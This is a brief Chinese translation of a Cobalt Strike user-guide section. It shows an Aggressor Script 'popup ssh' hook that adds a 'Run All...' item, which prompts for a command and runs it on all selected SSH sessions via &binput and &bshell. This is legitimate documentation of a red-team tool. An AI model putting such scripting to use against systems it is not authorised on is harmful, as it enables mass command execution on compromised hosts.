你还可以在 SSH 弹出菜单中添加项目。ssh 弹出钩子允许你向 SSH 菜单添加项目。 SSH 弹出菜单的参数是选定会话 ID的数组。
popup ssh {item "Run All..." {prompt_text("Which command to run?", "w", lambda({binput(@ids, "shell $1");bshell(@ids, $1);}, @ids => $1));}
}
你会发现,这个例子与 Beacon 章节中的例子非常相似。例如,使用 &binput 向 SSH 控制台发布输入。使用 &bshell 来指定 SSH 会话运行命令。这些都是正确的。请记住,在Cobalt Strike/Aggressor脚本的大部分功能中,SSH会话就是Beacon会话。
# 说明
本文由笔者在Cobalt Strike官方用户指南原文(https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)基础上编译,如需转载请注明来源。